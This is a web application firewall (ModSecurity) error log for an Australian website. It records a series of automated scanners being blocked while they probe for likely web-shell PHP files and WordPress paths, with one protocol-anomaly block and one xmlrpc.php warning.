[Sat Feb 28 01:08:53.453289 2026] [:error] [pid 38620:tid 38635] [client 4.205.9.11:65187] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaHPpQP6I7SRqrhh7Rrv3wAAAU0"]
[Sat Feb 28 01:08:55.054959 2026] [:error] [pid 38620:tid 38643] [client 4.205.9.11:65244] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaHPpwP6I7SRqrhh7Rrv8gAAAVU"]
[Sat Feb 28 01:08:56.911525 2026] [:error] [pid 38620:tid 38633] [client 4.205.9.11:65162] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaHPqAP6I7SRqrhh7RrwAQAAAUs"]
[Sat Feb 28 01:08:57.871493 2026] [:error] [pid 38620:tid 38627] [client 4.205.9.11:65210] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aaHPqQP6I7SRqrhh7RrwCwAAAUU"]
[Sat Feb 28 01:08:58.932819 2026] [:error] [pid 38620:tid 38634] [client 4.205.9.11:65216] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aaHPqgP6I7SRqrhh7RrwFwAAAUw"]
[Sat Feb 28 01:09:00.423582 2026] [:error] [pid 38586:tid 38589] [client 4.205.9.11:65172] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aaHPrL_i6nvKNhjFW7U0PAAAAQA"]
[Sat Feb 28 01:09:02.428402 2026] [:error] [pid 38586:tid 38608] [client 4.205.9.11:64421] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aaHPrr_i6nvKNhjFW7U0QgAAARM"]
[Sat Feb 28 01:09:04.320557 2026] [:error] [pid 15240:tid 15246] [client 4.205.9.11:64437] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aaHPsC1iKL_41Rk9A9NqOQAAAAQ"]
[Sat Feb 28 01:09:06.114187 2026] [:error] [pid 38586:tid 38608] [client 4.205.9.11:64485] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cxxuv.php"] [unique_id "aaHPsr_i6nvKNhjFW7U0UQAAARM"]
[Sat Feb 28 01:09:07.217084 2026] [:error] [pid 38620:tid 38643] [client 4.205.9.11:64492] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cxxuv.php"] [unique_id "aaHPswP6I7SRqrhh7RrwWgAAAVU"]
[Sat Feb 28 01:09:07.986722 2026] [:error] [pid 38586:tid 38608] [client 4.205.9.11:64409] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cxxuv.php"] [unique_id "aaHPs7_i6nvKNhjFW7U0XQAAARM"]
[Sat Feb 28 01:09:09.786143 2026] [:error] [pid 38586:tid 38592] [client 4.205.9.11:64398] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cxxuv.php"] [unique_id "aaHPtb_i6nvKNhjFW7U0awAAAQM"]
[Sat Feb 28 01:09:11.747872 2026] [:error] [pid 38620:tid 38637] [client 4.205.9.11:63845] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aaHPtwP6I7SRqrhh7RrwbwAAAU8"]
[Sat Feb 28 01:09:13.725717 2026] [:error] [pid 15100:tid 15164] [client 4.205.9.11:64465] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aaHPuUOEbzcINan_ctK7VwAAAEQ"]
[Sat Feb 28 01:09:15.446966 2026] [:error] [pid 15100:tid 15179] [client 4.205.9.11:65273] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aaHPu0OEbzcINan_ctK7XAAAAFM"]
[Sat Feb 28 01:09:16.455201 2026] [:error] [pid 38620:tid 38633] [client 4.205.9.11:65161] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "aaHPvAP6I7SRqrhh7RrwgAAAAUs"]
[Sat Feb 28 01:09:17.409759 2026] [:error] [pid 15099:tid 15145] [client 4.205.9.11:65201] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gi.php"] [unique_id "aaHPvenvP2vtPjYDq_gw0wAAAMw"]
[Sat Feb 28 01:09:18.542888 2026] [:error] [pid 15099:tid 15140] [client 4.205.9.11:64482] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gi.php"] [unique_id "aaHPvunvP2vtPjYDq_gw3AAAAMc"]
[Sat Feb 28 01:09:19.740009 2026] [:error] [pid 38620:tid 38634] [client 4.205.9.11:65254] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gi.php"] [unique_id "aaHPvwP6I7SRqrhh7RrwjgAAAUw"]
[Sat Feb 28 01:09:21.626744 2026] [:error] [pid 15098:tid 15127] [client 4.205.9.11:63810] [client 4.205.9.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gi.php"] [unique_id "aaHPwckFqny8dQQbmTkgIQAAAJU"]
[Sat Feb 28 01:15:00.485248 2026] [:error] [pid 38620:tid 38637] [client 43.135.211.148:34240] [client 43.135.211.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaHRFAP6I7SRqrhh7Rr5DwAAAU8"]
[Sat Feb 28 01:40:04.301097 2026] [:error] [pid 15100:tid 15175] [client 51.158.204.94:5414] [client 51.158.204.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.158.204.94, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaHW9EOEbzcINan_ctLKCAAAAE8"]
[Sat Feb 28 01:40:05.902775 2026] [:error] [pid 15100:tid 15181] [client 51.158.204.94:5414] [client 51.158.204.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aaHW9UOEbzcINan_ctLKEAAAAFU"]
[Sat Feb 28 01:40:06.899734 2026] [:error] [pid 38586:tid 38609] [client 51.158.204.94:6900] [client 51.158.204.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aaHW9r_i6nvKNhjFW7VTZgAAARQ"]
[Sat Feb 28 01:40:07.893470 2026] [:error] [pid 15098:tid 15106] [client 51.158.204.94:13573] [client 51.158.204.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "aaHW98kFqny8dQQbmTkp_gAAAIE"]
[Sat Feb 28 01:40:08.887361 2026] [:error] [pid 38586:tid 38608] [client 51.158.204.94:3972] [client 51.158.204.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aaHW-L_i6nvKNhjFW7VTaAAAARM"]
[Sat Feb 28 01:40:09.893979 2026] [:error] [pid 15100:tid 15173] [client 51.158.204.94:1818] [client 51.158.204.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aaHW-UOEbzcINan_ctLKFAAAAE0"]
[Sat Feb 28 01:40:10.886779 2026] [:error] [pid 38586:tid 38611] [client 51.158.204.94:2094] [client 51.158.204.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aaHW-r_i6nvKNhjFW7VTcAAAARY"]
[Sat Feb 28 01:40:11.878906 2026] [:error] [pid 38586:tid 38599] [client 51.158.204.94:5962] [client 51.158.204.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aaHW-7_i6nvKNhjFW7VTdQAAAQo"]
[Sat Feb 28 01:40:12.891449 2026] [:error] [pid 38620:tid 38625] [client 51.158.204.94:5025] [client 51.158.204.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aaHW_AP6I7SRqrhh7RobTQAAAUM"]
[Sat Feb 28 01:40:13.883701 2026] [:error] [pid 38620:tid 38633] [client 51.158.204.94:13888] [client 51.158.204.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aaHW_QP6I7SRqrhh7RobVQAAAUs"]
[Sat Feb 28 01:40:14.876959 2026] [:error] [pid 38620:tid 38622] [client 51.158.204.94:13292] [client 51.158.204.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aaHW_gP6I7SRqrhh7RobWgAAAUA"]
[Sat Feb 28 01:40:15.870430 2026] [:error] [pid 15240:tid 15252] [client 51.158.204.94:12272] [client 51.158.204.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aaHW_y1iKL_41Rk9A9OC6QAAAAo"]
[Sat Feb 28 01:44:13.219254 2026] [:error] [pid 15099:tid 15152] [client 20.100.197.204:27555] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHX7envP2vtPjYDq_g8pAAAANM"]
[Sat Feb 28 01:44:13.735943 2026] [:error] [pid 15240:tid 15245] [client 20.100.197.204:11725] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHX7S1iKL_41Rk9A9OEpAAAAAM"]
[Sat Feb 28 01:44:14.255103 2026] [:error] [pid 38586:tid 38609] [client 20.100.197.204:27526] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHX7r_i6nvKNhjFW7VWCAAAARQ"]
[Sat Feb 28 01:44:14.773140 2026] [:error] [pid 38620:tid 38632] [client 20.100.197.204:22693] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaHX7gP6I7SRqrhh7RofiAAAAUo"]
[Sat Feb 28 01:44:15.289904 2026] [:error] [pid 38586:tid 38604] [client 20.100.197.204:22198] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/assets/css/index.php"] [unique_id "aaHX77_i6nvKNhjFW7VWDgAAAQ8"]
[Sat Feb 28 01:44:15.805840 2026] [:error] [pid 38586:tid 38590] [client 20.100.197.204:22687] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/assets/css/index.php"] [unique_id "aaHX77_i6nvKNhjFW7VWEAAAAQE"]
[Sat Feb 28 01:44:16.323465 2026] [:error] [pid 38586:tid 38602] [client 20.100.197.204:11047] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/assets/css/index.php"] [unique_id "aaHX8L_i6nvKNhjFW7VWFgAAAQ0"]
[Sat Feb 28 01:44:16.840274 2026] [:error] [pid 38620:tid 38642] [client 20.100.197.204:13419] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/assets/css/index.php"] [unique_id "aaHX8AP6I7SRqrhh7RofjgAAAVQ"]
[Sat Feb 28 01:44:17.361540 2026] [:error] [pid 15240:tid 15254] [client 20.100.197.204:11019] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/boots.php"] [unique_id "aaHX8S1iKL_41Rk9A9OEpwAAAAw"]
[Sat Feb 28 01:44:17.879072 2026] [:error] [pid 15240:tid 15247] [client 20.100.197.204:11712] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/boots.php"] [unique_id "aaHX8S1iKL_41Rk9A9OEqQAAAAU"]
[Sat Feb 28 01:44:18.396304 2026] [:error] [pid 15240:tid 15262] [client 20.100.197.204:6515] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/boots.php"] [unique_id "aaHX8i1iKL_41Rk9A9OEqgAAABQ"]
[Sat Feb 28 01:44:18.913806 2026] [:error] [pid 38620:tid 38623] [client 20.100.197.204:22147] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/boots.php"] [unique_id "aaHX8gP6I7SRqrhh7RofmwAAAUE"]
[Sat Feb 28 01:44:19.431204 2026] [:error] [pid 38620:tid 38627] [client 20.100.197.204:22659] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/logi.php"] [unique_id "aaHX8wP6I7SRqrhh7RofnwAAAUU"]
[Sat Feb 28 01:44:19.948274 2026] [:error] [pid 15240:tid 15253] [client 20.100.197.204:19962] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/logi.php"] [unique_id "aaHX8y1iKL_41Rk9A9OEsQAAAAs"]
[Sat Feb 28 01:44:20.465003 2026] [:error] [pid 15240:tid 15257] [client 20.100.197.204:11053] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/logi.php"] [unique_id "aaHX9C1iKL_41Rk9A9OEswAAAA8"]
[Sat Feb 28 01:44:20.981920 2026] [:error] [pid 38586:tid 38600] [client 20.100.197.204:4604] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/logi.php"] [unique_id "aaHX9L_i6nvKNhjFW7VWJAAAAQs"]
[Sat Feb 28 01:44:21.512135 2026] [:error] [pid 15240:tid 15259] [client 20.100.197.204:24634] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaHX9S1iKL_41Rk9A9OEtAAAABE"]
[Sat Feb 28 01:44:22.041431 2026] [:error] [pid 38586:tid 38605] [client 20.100.197.204:6476] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaHX9r_i6nvKNhjFW7VWJwAAARA"]
[Sat Feb 28 01:44:22.592985 2026] [:error] [pid 15099:tid 15143] [client 20.100.197.204:21179] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaHX9unvP2vtPjYDq_g8rQAAAMo"]
[Sat Feb 28 01:44:23.126177 2026] [:error] [pid 38586:tid 38599] [client 20.100.197.204:6318] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaHX97_i6nvKNhjFW7VWKgAAAQo"]
[Sat Feb 28 01:44:23.656018 2026] [:error] [pid 15240:tid 15262] [client 20.100.197.204:5637] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/samfa.php"] [unique_id "aaHX9y1iKL_41Rk9A9OEvAAAABQ"]
